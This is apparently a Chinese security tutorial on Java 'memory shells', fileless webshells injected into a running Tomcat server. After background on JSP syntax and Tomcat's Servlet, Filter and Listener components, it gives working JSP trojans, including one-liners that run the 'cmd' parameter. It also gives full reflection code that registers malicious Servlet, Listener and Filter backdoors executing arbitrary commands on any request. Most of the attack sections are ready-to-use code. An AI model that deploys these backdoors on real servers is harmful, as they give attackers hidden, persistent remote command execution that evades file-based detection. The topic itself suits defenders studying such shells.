Java内存马简介

内存马又名无文件马,指无文件落地的webshell。传统的webshell需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出一种新型的内存WebShell技术,其核心思想用一句话概括:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门

目前内存马主要分为以下几种方式:

  • 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
  • 动态注册 interceptor/controller(使用框架如 spring/struts2)
  • 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等)
  • 使用 java agent 技术写入字节码
Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】

JSP

先来简单了解一下JSP技术

JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术

JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP

当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页

JSP语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下:

1
<% 代码片段 %>

其等价于下面的XML语句:

1
2
3
<jsp:scriptlet>
代码片段
</jsp:scriptlet>

使用示例:

1
2
3
4
5
6
<html>
<body>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>

image-20230513103249720

JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下:

1
<%! 声明  %>

等价于下面的XML语句:

1
2
3
<jsp:declaration>
代码片段
</jsp:declaration>

使用示例:

1
2
3
4
5
6
7
<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>

image-20230513103400726

JSP表达式

如果JSP表达式中为一个对象,则会自动调用其toString()方法。格式如下,注意表达式后没有 ;

1
<%= 表达式  %>

等价于下面的XML表达式

1
2
3
<jsp:expression>
表达式
</jsp:expression>

下面是使用示例

1
2
3
4
5
6
7
8
9
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "Feng"; %>
username:<%=name%>
</p>
</body>
</html>

image-20230513103500575

JSP指令

JSP指令用来设置与整个JSP页面相关的属性。有三种JSP指令:

指令 描述
<%@ page … %> 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %> 包含其他文件
<%@ taglib … %> 引入标签库的定义,可以是自定义标签

比如我们能通过page指令来设置jsp页面的编码格式

1
2
3
4
5
6
7
8
9
10
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "枫"; %>
用户名:<%=name%>
</p>
</body>
</html>

image-20230513103653616

JSP注释

格式如下

1
<%-- 注释内容 --%>

JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

  • 由 JSP 规范提供,不用编写者实例化
  • 通过 Web 容器实现和管理
  • 所有 JSP 页面均可使用
  • 只有在脚本元素的表达式或代码段中才能使用
对象 类型 描述
request javax.servlet.http.HttpServletRequest 获取用户请求信息
response javax.servlet.http.HttpServletResponse 响应客户端请求,并将处理信息返回到客户端
response javax.servlet.jsp.JspWriter 输出内容到 HTML 中
session javax.servlet.http.HttpSession 用来保存用户信息
application javax.servlet.ServletContext 所有用户共享信息
config javax.servlet.ServletConfig 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext javax.servlet.jsp.PageContext JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page javax.servlet.jsp.HttpJspPage 类似于 Java 类的 this 关键字,表示当前 JSP 页面
exception java.lang.Throwable 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象

JSP木马

来看看传统的JSP木马是如何实现的

1
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

上面是最简单的一句话木马,没有回显,适合用来反弹shell。下面是一个带回显的JSP木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String line;
PrintWriter printWriter = response.getWriter();
printWriter.write("<pre>");
while ((line = bufferedReader.readLine()) != null){
printWriter.println(line);
}
printWriter.write("</pre>");
}
%>

传统的JSP木马特征性强且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

Tomcat架构

Tomcat Server大致可以分为三个组件,Service、Connector、Container

image-20230513113209915

JavaWeb三大组件

Servlet

Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestServlet对象并发送到对应的Servlet上进行处理

Servlet的生命周期

Servlet的生命周期分为如下五个阶段

  • 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  • 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  • 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  • 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
  • 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

只要访问Servlet,service()就会被调用。init()只有第一次访问Servlet的时候才会被调用。 destroy()只有在Tomcat关闭的时候才会被调用。因此主要的业务逻辑代码是写在service()函数中的

image-20230513113634432

Filter

Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能

image-20230513113544948

Filter的生命周期

Filter的生命周期和Servlet一样,Filter的创建和销毁也是由WEB服务器负责

  • 初始化阶段:init(FilterConfig),初始化方法,只会在web应用程序启动时调用一次
  • 拦截和过滤阶段:doFilter(ServletRequest, ServletResponse, FilterChain),完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器
  • 销毁阶段:destory(),销毁Filter,只会在当web应用移除或服务器停止时才调用一次来卸载Filter对象

Listener

Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法

下面有几个与Listener相关的概念

  • 事件: 某个方法被调用,或者属性的改变
  • 事件源:被监听的对象(如ServletContext、requset、方法等)
  • 监听器:用于监听事件源,当发生事件时会触发监听器

监听器的分类

事件源 监听器 描述
ServletContext ServletContextListener 用于监听 ServletContext 对象的创建与销毁过程
HttpSession HttpSessionListener 用于监听 HttpSession 对象的创建和销毁过程
ServletRequest ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁过程
ServletContext ServletContextAttributeListener 用于监听 ServletContext 对象的属性新增、移除和替换
HttpSession HttpSessionAttributeListener 用于监听 HttpSession 对象的属性新增、移除和替换
ServletRequest ServletRequestAttributeListener 用于监听 HttpServletRequest 对象的属性新增、移除和替换
HttpSession HttpSessionBindingListener 用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件
HttpSession HttpSessionActivationListener 用于监听 HttpSession 中对象活化和钝化的过程

按照监听的对象不同可以划分为三类

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

三者的加载顺序

三者的加载顺序为Listener->Filter->Servlet

四类容器组件

Engine、Host 、Context 、 Wrapper,关系如下

  • Engine(org.apache.catalina.core.StandardEngine):最大的容器组件,可以容纳多个 Host
  • Host(org.apache.catalina.core.StandardHost):一个 Host 代表一个虚拟主机,一个Host可以包含多个 Context
  • Context(org.apache.catalina.core.StandardContext):一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • Wrapper(org.apache.catalina.core.StandardWrapper):一个 Wrapper 代表一个 Servlet(重点:动态注册Servlet组件的内存马技术,想要动态的去注册Servlet组件实现过程中的关键之一就是如何获取Wrapper对象,再往上也就是如何获取到Context对象,从而掌握整个Web应用)

Tomcat中的三种Context

在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息

image-20230513145139217

ServletContext

Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。其在Java中的具体实现是javax.servlet.ServletContext接口

ApplicationContext

在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法

image-20230513145258254

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下

image-20230513145404194

用一张图来表示各Context的关系

image-20230513143456491

Tomcat内存马

Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型,即Java Web核心三大组件。Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中

这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上

环境搭建

新建idea项目

image-20230514153631444 image-20230514153711463

为了便于调试Tomcat,引入Tomcat依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.85</version>
</dependency>

Servlet型

Tomcat中动态创建Servlet的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());

... //设置StandardContext参数


for (ServletDef servlet : webxml.getServlets().values()) {

//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();

if (servlet.getLoadOnStartup() != null) {

//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}

//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}

//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());

//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);

for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {

//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}

创建Servlet型内存马的流程

  1. 编写恶意jsp马

  2. 将恶意的Servlet动态注册进服务器

    2.1获取StandardContext对象

    2.2通过StandardContext.createWrapper()创建StandardWrapper对象

    2.3设置StandardWrapper对象的loadOnStartup属性值

    2.4设置StandardWrapper对象的ServletName属性值

    2.5设置StandardWrapper对象的ServletClass属性值

    2.6将StandardWrapper对象添加进StandardContext对象的children属性中

    2.7通过StandardContext.addServletMappingDecoded()添加对应的路径映射

编写一个jsp马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%!
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}

public void destroy() {
}
}
%>

动态注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//动态注册servlet
//获取standardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(applicationContext);

//注册进context
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(new MemServlet());
context.addChild(wrapper);
context.addServletMappingDecoded("/Memshell","MemServlet");

先访问addServlet.jsp动态注册Servlet

image-20230513230213895

再访问对应路径的Servlet,即Memshell即可弹shell

image-20230513230337964

Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现

Listener型

我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

ServletRequestListener是最适合用来作为内存马的,因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener

Listener型内存马的实现步骤

1.实现一个恶意Listener

2.将恶意的Listener动态注册进服务器

2.1获取StandardContext上下文

2.2通过StandardContext#addApplicationEventListener方法添加恶意Listener

恶意Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException | NullPointerException e) {
e.printStackTrace();
}
}
}

public void requestDestroyed(ServletRequestEvent sre) { }
}
%>

将恶意的Listener动态注册进服务器

1
2
3
4
5
6
7
8
9
10
11
<%
//获取StandardContext上下文
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

//通过StandardContext#addApplicationEventListener方法添加恶意Listener
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

访问Listener.jsp

image-20230514114007418

此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发

image-20230514113925370

Filter型

在Servlet容器中,Filter的调用是通过FilterChain实现的

image-20230514161104972

在doFilter处打上断点,调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

跟进ApplicationFilterChain#internalDoFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void internalDoFilter(ServletRequest request,ServletResponse response) throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
}
...
}

调用了filter.doFilter(),而filter是通过filterConfig.getFilter()得到的,filterConfig定义如下

1
2
3
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = filters[pos++]

一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的filters属性是一个ApplicationFilterConfig数组。寻找一下*ApplicationFilterChain.filters*属性在哪里被赋值

StandardWrapperValve#invoke()方法中,通过ApplicationFilterFactory.createFilterChain()方法初始化了一个ApplicationFilterChain

image-20230514201419546

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
...
// Return the completed filter chain
return filterChain;
}

这里省略了函数中一些不重要的判断,从createFilterChain函数中,能够清晰地看到filterChain对象的创建过程:

  1. 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  2. 然后通过wrapper.getParent()函数来获取StandardContext对象
  3. 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  4. 最后根据Filter的名称,在StandardContext中获取FilterConfig
  5. 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain

ApplicationFilterChain#addFilter方法,filterConfig被添加到filters中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void addFilter(ApplicationFilterConfig filterConfig) {
// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}
if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;
}

关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter

创建Filter型内存马的流程

1.实现一个恶意Filter

2.将恶意的Filter动态注册进服务器

2.1获取StandardContext对象

2.2利用获取的上下文StandardContext对象获取filterconfigs对象

2.3创建一个恶意Filter对象并重写其doFilter方法,在其中实现命令执行并通过response返回,最后filterChain传入后面的filter

​ 创建FilterDef对象并利用刚刚创建的Filter对象来初始化,并新建一个FilterMap对象,为创建的FilterDef对象添加URL映射

2.4创建FilterConfig对象并使用FilterDef对象初始化,最后将其加入FilterConfigs里面,等待filterChain.dofilter调用

实现一个恶意Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%!
public class Shell_Filter implements Filter {
public void init(FilterConfig filterConfig) {}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException | NullPointerException e) {
e.printStackTrace();
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
%>

将恶意的Filter动态注册进服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//获取ApplicationContextFacade类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//使用FilterDef封装filter
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

//创建filterMap,用于filter和路径的绑定
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

//封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>

先访问jsp木马

image-20230514175657018

此时已经动态注册了我们的恶意Filter,访问任意路由即可执行命令

image-20230514175719494